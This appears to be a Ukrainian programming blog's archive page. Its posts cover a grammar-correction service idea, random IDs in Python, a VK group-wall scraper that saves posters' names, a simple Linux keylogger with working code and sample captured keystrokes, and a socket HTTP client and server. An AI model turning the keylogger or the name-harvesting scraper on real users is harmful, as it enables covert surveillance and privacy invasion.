Monthly Archives: Березень 2015

Генштаб для грамнацистів

Щойно з’явилась ідея супер-пупер сервісу для всіх хто пише і вичитує.

Сценарії використання

  1. Користувач бачить помилку на якомусь сайті. (Ідея націлена на вікіпедію, але має працювати на будь-яких інших сайтах, наприклад тут.) Нехай він зареєстрований на нашому порталі грамнацистів, і встановив букмарклет. Користувач виділяє ту помилку, натискає на букмарклет, той букмарклет показує попап з формою, де вписаний рядок з помилкою, полем куди можна ввести правильний варіант, пояснення помилки і посилання на словники та правопис.
  2. Користувач пише статтю. Він хоче написати її грамотно. Він вводить її текст, натискає інший букмарклет, і той використовуючи алгоритм Ахо-Корасік чи щось легше, підкреслює всі помилки і в попапах показує коментарі користувачів що їх виправили, та варіанти виправлень.
  3. Користувач вважає що помилка – не помилка, і попередній користувач помилився додавши її до словника. В попапі він клацає кнопочку “обговорення” і переходить на наш портал, де може обговорити.
  4. Адміністратори/редактори (вікіпедії) вирішують хто правий, а хто ні. Помилка яка насправді такою не була, позначається, і при наступних спробах її ввести, йому будуть повідомляти що це не помилка, і якщо він не згоден – посилати в обговорення.
  5. Найпопулярніші помилки, які вже точно помилки експортуються в файл що читається роботом який лазить по вікіпедії і виправляє всі статті та перевіряє всі нові правки. Якщо користувач вніс правку з помилкою – йому приходить повідомлення з поясненням суті помилки, проханням так не робити і порадою поставити букмарклет. :) На зразок такого:

  6. Треба врахувати те, що помилок існує більше ніж правильних слів (наприклад в слові “пиво” можна помилитися 32^4 = 2^{20} \approx 10^6 мільйоном різних способів, і то якщо не враховувати що також існують пропуск, дефіс, апостроф та інші символи. Тому варто намагатись вводити лише часті помилки, а решту залишати на hunspell. Словник для hunspell теж дозволити редагувати спільно, через букмарклети.

P.S. Я ще можу змиритись з тим що Firefox мені підкреслює hunspell, latex, букмарклет, попап і подібне. Але “блозі”, “кнопочку” “P.S.” і т.п. міг би вже вивчити.


Filed under: Кодерство, Павутина Tagged: вікіпедія, освіта, цілі

Генштаб для грамнацистів

Щойно з’явилась ідея супер-пупер сервісу для всіх хто пише і вичитує.

Сценарії використання

  1. Користувач бачить помилку на якомусь сайті. (Ідея націлена на вікіпедію, але має працювати на будь-яких інших сайтах, наприклад тут.) Нехай він зареєстрований на нашому порталі грамнацистів, і встановив букмарклет. Користувач виділяє ту помилку, натискає на букмарклет, той букмарклет показує попап з формою, де вписаний рядок з помилкою, полем куди можна ввести правильний варіант, пояснення помилки і посилання на словники та правопис.
  2. Користувач пише статтю. Він хоче написати її грамотно. Він вводить її текст, натискає інший букмарклет, і той використовуючи алгоритм Ахо-Корасік чи щось легше, підкреслює всі помилки і в попапах показує коментарі користувачів що їх виправили, та варіанти виправлень.
  3. Користувач вважає що помилка – не помилка, і попередній користувач помилився додавши її до словника. В попапі він клацає кнопочку “обговорення” і переходить на наш портал, де може обговорити.
  4. Адміністратори/редактори (вікіпедії) вирішують хто правий, а хто ні. Помилка яка насправді такою не була, позначається, і при наступних спробах її ввести, йому будуть повідомляти що це не помилка, і якщо він не згоден – посилати в обговорення.
  5. Найпопулярніші помилки, які вже точно помилки експортуються в файл що читається роботом який лазить по вікіпедії і виправляє всі статті та перевіряє всі нові правки. Якщо користувач вніс правку з помилкою – йому приходить повідомлення з поясненням суті помилки, проханням так не робити і порадою поставити букмарклет. :) На зразок такого:

  6. Треба врахувати те, що помилок існує більше ніж правильних слів (наприклад в слові “пиво” можна помилитися 32^4 = 2^{20} \approx 10^6 мільйоном різних способів, і то якщо не враховувати що також існують пропуск, дефіс, апостроф та інші символи. Тому варто намагатись вводити лише часті помилки, а решту залишати на hunspell. Словник для hunspell теж дозволити редагувати спільно, через букмарклети.

P.S. Я ще можу змиритись з тим що Firefox мені підкреслює hunspell, latex, букмарклет, попап і подібне. Але “блозі”, “кнопочку” “P.S.” і т.п. міг би вже вивчити.


Filed under: Кодерство, Павутина Tagged: вікіпедія, освіта, цілі

Випадковий ідентифікатор в Python

Можна отримати так:

import random
def random_id(length=6):
   return ''.join(
        random.choice(string.lowercase)
        for i in range(length)
    )

###############
>>> random_id()
'kqxmua'

Якщо треба особливо оформлений, як от IP, чи MAC-адреса, то можна зробити перетворення:

def asmac(val):
    """Convert a byte string to a MAC address string.  """
    return ':'.join('%02X' % ord(c) for c in val)

def random_mac():
    return asmac(random_id())

###################
>>> random_mac()
'78:71:6A:72:6E:63'

Але такі ідентифікатори як “kqxmua” нормальній людині важко запам’ятати, бо вони не асоціюються з жодними поняттями. Ну окрім частинки “ua”, але й то вона туди випадково потрапила. Проте, в Linux можна легко отримати випадкове слово, бо в ньому є словник:

def random_word():
    return random.choice(
        open('/usr/share/dict/words').readlines() # жертиме пам’ять! 
    ).strip()

#################
'.join(random_word() for i in range(5))
'hermitical, Canter, Paryavi, mergences, Mind'

Хоча я знайомий лише з “hermitical” та “mind”, але асоціації вже легше побудувати, правда?


Filed under: Всяке, Кодерство Tagged: linux, Python

Випадковий ідентифікатор в Python

Можна отримати так:

import random
def random_id(length=6):
   return ''.join(
        random.choice(string.lowercase)
        for i in range(length)
    )

###############
>>> random_id()
'kqxmua'

Якщо треба особливо оформлений, як от IP, чи MAC-адреса, то можна зробити перетворення:

def asmac(val):
    """Convert a byte string to a MAC address string.  """
    return ':'.join('%02X' % ord(c) for c in val)

def random_mac():
    return asmac(random_id())

###################
>>> random_mac()
'78:71:6A:72:6E:63'

Але такі ідентифікатори як “kqxmua” нормальній людині важко запам’ятати, бо вони не асоціюються з жодними поняттями. Ну окрім частинки “ua”, але й то вона туди випадково потрапила. Проте, в Linux можна легко отримати випадкове слово, бо в ньому є словник:

def random_word():
    return random.choice(
        open('/usr/share/dict/words').readlines() # жертиме пам’ять! 
    ).strip()

#################
'.join(random_word() for i in range(5))
'hermitical, Canter, Paryavi, mergences, Mind'

Хоча я знайомий лише з “hermitical” та “mind”, але асоціації вже легше побудувати, правда?


Filed under: Всяке, Кодерство Tagged: linux, Python

Зберегти всю стіну групи VK в таблицю

Якось під час чергового наближення економічної кризи захотілось проаналізувати ціну нерухомості в Львові. А ще, в той же час я наткнувся на документацію API Вконтакті. А так як своє житло я шукав в тому числі і в тій соціальній мережі, то вирішив проаналізувати наприклад спільноту vk.com/nomakler.

Ну, проаналізувати це легко сказати – важче зробити. Як витягти з повідомлення ціну, і як відрізнити попит від пропозиції? Га?

Але є половинний результат – ФСБ мусило поділитись частиною своєї бази даних розміром в 40450 оголошень. Тут можна її завантажити як tsv, xls чи інший зручний для вас формат. Може комусь, хто захоче збільшити конкуренцію серед львівськи маклерів/ріелторів знадобиться.

А якщо кому потрібна інформація з інших груп – ось скрипт. Викликаєте функцію save2tsv з назвою групи і назвою файлу в який писати – і чекаєте поки завантажиться.

import requests
import json
from pprint import pprint
from itertools import islice
from datetime import datetime

from butils.csv_wrapper import UnicodeWriter

class APIError(Exception):
    pass

def vk(method, **kwargs):
    '''
        https://vk.com/dev/methods
    '''
    r = requests.get(
        'https://api.vk.com/method/%s' % method,
        params=kwargs
    )
    js = json.loads(r.text)
    if js.get('error'):
        raise APIError(js['error']['error_msg'])

    return js['response']


def get_users(ids, known_users={}):
    request_ids = [i for i in ids if i not in known_users]
    if request_ids:
        user_ids=','.join(str(i) for i in request_ids if i > 0)
        if user_ids:
            users = vk('users.get', user_ids=user_ids)
        else:
            users = []
        group_ids=','.join(str(-i) for i in request_ids if i < 0)
        if group_ids:
            groups = vk('groups.getById', group_ids=group_ids)
        else:
            groups = []
        for user in users:
            known_users[int(user['uid'])] = dict(
                first_name = user['first_name'],
                last_name = user['last_name'],
            )
        for group in groups:
            known_users[-int(group['gid'])] = dict(
                first_name = group['name'],
                last_name = group['gid']
            )
    return known_users


def get_wall(domain):
    count = 50
    offset = 0
    def get_with_offset(offset):
        nonlocal count
        print('get_with_offset(%s)' % offset)
        total = vk('wall.get',
            domain=domain,
            count=1,
        )[0]
        off = total - offset - count
        if off < 0:
            count = count + off
            off = 0
        return vk('wall.get',
            domain=domain,
            count=count,
            offset=off,
        )[1:][::-1] # remove first and reverse

    while True:
        posts = get_with_offset(offset)
        offset += count
        users = get_users(p['from_id'] for p in posts)
        for p in posts:
            yield p, users[p['from_id']]
        if count < 50:
            return


def save2tsv(domain, dst):
    with UnicodeWriter(dst, encoding='utf-8', delimiter='t') as writer:
        writer.writerow((
            'ID',
            'Datetime',
            'First name',
            'Last name',
            'Text',
            'Type',
            'Comments',
            'Reposts',
            'Likes',
        ))
        for p, user in get_wall(domain):
            writer.writerow(list(map(str, (
                p['id'], # ID
                datetime.fromtimestamp(p['date']), # Datetime
                user['first_name'], # First name
                user['last_name'], # Last name
                p['text'], # Text
                p['post_type'], # Type
                p['comments']['count'], # Comments
                p['reposts']['count'], # Reposts
                p['likes']['count'], # Likes
            ))))

# save2tsv('nomakler', 'nomakler.tsv')

Filed under: Кодерство, Павутина Tagged: Python

Зберегти всю стіну групи VK в таблицю

Якось під час чергового наближення економічної кризи захотілось проаналізувати ціну нерухомості в Львові. А ще, в той же час я наткнувся на документацію API Вконтакті. А так як своє житло я шукав в тому числі і в тій соціальній мережі, то вирішив проаналізувати наприклад спільноту vk.com/nomakler.

Ну, проаналізувати це легко сказати – важче зробити. Як витягти з повідомлення ціну, і як відрізнити попит від пропозиції? Га?

Але є половинний результат – ФСБ мусило поділитись частиною своєї бази даних розміром в 40450 оголошень. Тут можна її завантажити як tsv, xls чи інший зручний для вас формат. Може комусь, хто захоче збільшити конкуренцію серед львівськи маклерів/ріелторів знадобиться.

А якщо кому потрібна інформація з інших груп – ось скрипт. Викликаєте функцію save2tsv з назвою групи і назвою файлу в який писати – і чекаєте поки завантажиться.

import requests
import json
from pprint import pprint
from itertools import islice
from datetime import datetime

from butils.csv_wrapper import UnicodeWriter

class APIError(Exception):
    pass

def vk(method, **kwargs):
    '''
        https://vk.com/dev/methods
    '''
    r = requests.get(
        'https://api.vk.com/method/%s' % method,
        params=kwargs
    )
    js = json.loads(r.text)
    if js.get('error'):
        raise APIError(js['error']['error_msg'])

    return js['response']


def get_users(ids, known_users={}):
    request_ids = [i for i in ids if i not in known_users]
    if request_ids:
        user_ids=','.join(str(i) for i in request_ids if i > 0)
        if user_ids:
            users = vk('users.get', user_ids=user_ids)
        else:
            users = []
        group_ids=','.join(str(-i) for i in request_ids if i < 0)
        if group_ids:
            groups = vk('groups.getById', group_ids=group_ids)
        else:
            groups = []
        for user in users:
            known_users[int(user['uid'])] = dict(
                first_name = user['first_name'],
                last_name = user['last_name'],
            )
        for group in groups:
            known_users[-int(group['gid'])] = dict(
                first_name = group['name'],
                last_name = group['gid']
            )
    return known_users


def get_wall(domain):
    count = 50
    offset = 0
    def get_with_offset(offset):
        nonlocal count
        print('get_with_offset(%s)' % offset)
        total = vk('wall.get',
            domain=domain,
            count=1,
        )[0]
        off = total - offset - count
        if off < 0:
            count = count + off
            off = 0
        return vk('wall.get',
            domain=domain,
            count=count,
            offset=off,
        )[1:][::-1] # remove first and reverse

    while True:
        posts = get_with_offset(offset)
        offset += count
        users = get_users(p['from_id'] for p in posts)
        for p in posts:
            yield p, users[p['from_id']]
        if count < 50:
            return


def save2tsv(domain, dst):
    with UnicodeWriter(dst, encoding='utf-8', delimiter='\t') as writer:
        writer.writerow((
            'ID',
            'Datetime',
            'First name',
            'Last name',
            'Text',
            'Type',
            'Comments',
            'Reposts',
            'Likes',
        ))
        for p, user in get_wall(domain):
            writer.writerow(list(map(str, (
                p['id'], # ID
                datetime.fromtimestamp(p['date']), # Datetime
                user['first_name'], # First name
                user['last_name'], # Last name
                p['text'], # Text
                p['post_type'], # Type
                p['comments']['count'], # Comments
                p['reposts']['count'], # Reposts
                p['likes']['count'], # Likes
            ))))

# save2tsv('nomakler', 'nomakler.tsv')

Filed under: Кодерство, Павутина Tagged: Python

Пишемо простий keylogger для Linux

Кейлоггер це така шкідлива корисна програма яка записує всі натискання клавіш користувачем в будь-яких інших програмах операційної системи. І сьогодні ми вивчатимемо як таке написати. Якщо ви навчитесь працювати з файлами в Linux – ви зможете все. Серйозно. Тому я колись планую детально вивчити і написати про файли там.

Все в лінуксі файл, і клавіатура – теж. Щоб знати який – відкриваємо /proc/bus/input/devices. Нас цікавить абзац в якому написано про клавіатуру, і він зазвичай містить рядок EV=120013, тому можете пошукати його. Коли знайшли абзац, читаємо в ньому рядок H: Handlers=sysrq kbd event3.

Можна дістати однією командою:

cat /proc/bus/input/devices | grep EV=120013 -B 2 | grep event

Слово event3 означає що нам треба читати файл пристрою /dev/input/event3.

Так як в заголовку було слово простий, ми спростимо собі життя і поставимо деяку бібліотеку:

pip-2.7 install evdev

Ця бібліотека працює з пристроями подій (тобто клавіатурою, мишею і т.п.). Далі вставлю зразу код, тому що він відкоментований і очевидний:

# coding=utf-8

import sys
from evdev import InputDevice, categorize, KeyEvent

def main():
    if len(sys.argv) &amp;amp;lt; 2:
        print('Please pass device (/dev/input/eventX) as first argument.')
        return

    log_keys(sys.argv[1])


def log_keys(device):
    for event in InputDevice(device).read_loop():
        # Перетворити загальну подію в подію певного класу
        event = categorize(event)
        if (
            isinstance(event, KeyEvent) # нас цікавлять події клавіатури
            # а саме - натискання
            and (event.keystate == KeyEvent.key_down)
        ):
            # keycode - це рядок виду &quot;KEY_S&quot;, тому ми обрізаємо &quot;KEY_&quot;
            # і виводимо всі клавіші в одному рядку, через кому
            print(event.keycode[4:], end=', ')
            # так як вивід буферизований, а буфер починає записуватись коли
            # починається новий рядок, нам потрібно його вручну змусити 
            # виводитись:
            sys.stdout.flush()
            
if __name__ == '__main__':
    main()

Тепер, коли це все запустити для пристрою який в нас займається клавіатурою, можна побачити натиснені клавіші. Наприклад, що я тиснув, коли писав цю публікацію:

$~ sudo python3.3 keylogger.py /dev/input/event3
... F12, LEFTBRACE, S, O, U, R, C, E, C, O, D, E, SPACE,
L, A, N, G, U, A, G, E, EQUAL, LEFTSHIFT, APOSTROPHE,
P, Y, T, H, O, N, LEFTSHIFT, APOSTROPHE, RIGHTBRACE,
LEFTBRACE, SLASH, S, O, U, R, C, E, C, O, D, E, RIGHTBRACE,
LEFTSHIFT, ENTER, N, BACKSPACE, P, L, A, I, N, WAKEUP, F12, 

Щоб свиснути чийсь пароль звісно ще доведеться записувати не тільки коли SHIFT опущено, але й коли піднято, але не варто таким займатись. :)

Посилання

  1. logkeys.cc:49
  2. logkeys.cc - determine_input_device
  3. github.com – evdev

Картинка для привертання уваги:
Backlit keyboard


Filed under: Кодерство Tagged: linux, Python

Простий HTTP клієнт і сервер на сокетах

В Python є мільйони бібліотек для роботи з HTTP, але так як HTTP працює через TCP/IP, то всі вони працюють використовуючи штуку яка називається socket. Сокет – це дуже низькорівнева річ, що нагадує файл (але не пітонівський об’єкт файлу, і навіть не сішний, а доступ до файлу через дескриптор, за допомогою викликів операційної системи open, write та read).

Хоча, досить вже вас страшити, ми просто зробимо це спрощено, як вправу, і основу для створення деяких інструментів для тестування та зневадження мережевих програм.

Клієнт

# coding=utf-8

import socket
import sys

def main():
    get(sys.argv[1])

def get(url):
    # Парсимо url на домен і GET запит в межах домену
    if url.startswith('http://'):
        url = url[len('http://'):]
    domain, query = url.split('/', 1)

    # створюємо сокет
    clientsocket = socket.socket(
        socket.AF_INET, socket.SOCK_STREAM
    )
    # AF_INET - аднесна сім’я сокета - інтернет (бувають юнікс і всілякі інші)
    # SOCK_STREAM - потоковий сокет (TCP). Бувають дейтаграмні (UDP).

    # з'єднуємось з 80-тим портом сервера:
    clientsocket.connect((domain, 80))

    # відправляємо туди всі дані запиту (поки не відправляться)
    # метод send() відправляє певну кількість байт і повертає ціле число - 
    # скільки відправив. Далі треба вручну досилати, нас ця зайва робота
    # не цікавить.
    clientsocket.sendall(query_template % (query, domain))

    while True:
        # отримуємо по 4096 байт даних
        # кажуть для максимальної продуктивності треба просити невелику 
        # степінь двійки байт
        data = clientsocket.recv(4096)

        # в stderr пишемо склільки насправді отримали (це цікаво)
        sys.stderr.write('DEBUG: Got %s bytes\n' % len(data))

        if len(data) == 0: # якщо даних більше нема - 
            break # то можна закінчувати

        # в stdout - наші дані
        sys.stdout.write(data)


    clientsocket.close() # закриваємо сокет

query_template = '''GET /%s HTTP/1.1
Host: %s
User-Agent: python
Connection: close

'''.replace('\n', '\r\n')
# В HTTP рядки заголовків розділяються \r\n
# Кінець заголовків позначається порожнім рядком, тому якщо його забути
# сервер буде довго чекати поки ви закінчите, а потім пришле
# 408 Request Timeout
# Connection: close - каже йому що можна закрити сокет після того як дані отримано.


if __name__ == '__main__':
    main()

Тест:

$~ python client.py https://bunyk.wordpress.com/
DEBUG: Got 387 bytes
HTTP/1.1 301 Moved Permanently
Server: nginx
Date: Fri, 06 Mar 2015 07:39:41 GMT
Content-Type: text/html
Content-Length: 178
Connection: close
Location: https://bunyk.wordpress.com/
X-ac: 1.fra _sat

<html>
<head><title>301 Moved Permanently</title></head>
<body bgcolor="white">
<center><h1>301 Moved Permanently</h1></center>
<hr><center>nginx</center>
</body>
</html>
DEBUG: Got 0 bytes

На жаль в наш час мало що можна отримати, бо всі хочуть перенаправити тебе на https, а він складніший за http, але й по самій відповіді 301 бачимо що клієнт працює.

Тепер складніше, але не набагато:

Сервер

Сервер, на відміну від клієнта, який створює з’єднання, посилає запит, читає відповідь і закриває з’єднання, повинен відкрити порт, і постійно очікувати з’єднань на ньому. Якщо з’єднання відбувається – прочитати запит і послати відповідь.

# coding=utf-8

import socket

def main():
    HttpServer(8080).run()

class HttpServer(object):
    def __init__(self, port=8000):
        # створюємо абсолютно такий самий сокет як і в клієнта
        self.socket = socket.socket(
            socket.AF_INET, socket.SOCK_STREAM
        )
        # але замість того аби приєднуватись до сокета на чужому 
        # сервері - приєднуємось до сокета на нашому:
        self.socket.bind(('', port))
        # і очікуємо з’єднання 
        # 5 - розмір черги з’єднань
        self.socket.listen(5)
        print 'Serving at', port

    
    def run(self):
        try:
            while True:
                # прийняти наступне з’єднання
                (conn, address) = self.socket.accept()
                print 'Connection from', address
                data = conn.recv(1024)
                # прочитати 1024 байт запиту 
                # (припустимо що цього буде досить)

                # послати назад заголовки відповіді HTTP 200 OK, 
                # і вміст - отриманий запит
                conn.send(http_ok(data))
                # І закриваємо з’єднання з клієнтом
                conn.close()
        except KeyboardInterrupt:
            print 'Bye!'

    def __del__(self):
        # Сокет треба закрити, щоб при наступному запуску
        # нам не сказали що він вже зайнятий.
        self.socket.shutdown(socket.SHUT_RDWR)
        self.socket.close()


def http_ok(content):
    return (
        'HTTP/1.0 200 OK\r\n'
        'Content-Type: text/html\r\n\r\n'
        '<html><body><pre>%s</pre></body></html>'
        % content
    )

if __name__ == '__main__':
    main()

Тепер, коли ми запустимо сервер, і відкриємо в браузері localhost:8080, то побачимо там щось схоже на:

GET / HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:35.0) Gecko/20100101 Firefox/35.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: __utma=111872281.1988111138.1417337610.1419706230.1419710582.13; __utmz=111872281.1417337610.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
Connection: keep-alive

Цей чарівний lo-інтерфейс

Найбільш радісним для мене було відкриття того, що якщо ми перейдемо за адресою 127.123.123.123:8080, чи будь-якою іншою виду 127.*.*.* (окрім 127.255.255.255), ми отримаємо відповідь:

GET / HTTP/1.1
Host: 127.123.123.123:8080

А це означає що ми можемо одним нашим сервером імітувати 16 хостів. HTTP передає заголовок HOST, саме тому, що один сервер може обробляти дані кількох хостів (які називаються віртуальними), і йому потрібно їх якось розрізняти.

Тут з’являється інша проблема – якщо ми хочемо імітувати кілька тисяч хостів, але не HTTP, а наприклад SNMP. В SNMP такого поля як адреса хоста на який ми послали запит нема, а так як всі потрапляють на один і той самий localhost, то й відрізнити їх нема як. Зате звісно таке поле є в пакету IP, і здається є спосіб до заголовків цього протоколу дістатись, використовуючи дещо, що називається raw socket. Проте це чорна магія якою я поки що ще не оволодів, тому залишу це до наступного разу.


Filed under: Кодерство, Павутина Tagged: мережа, Python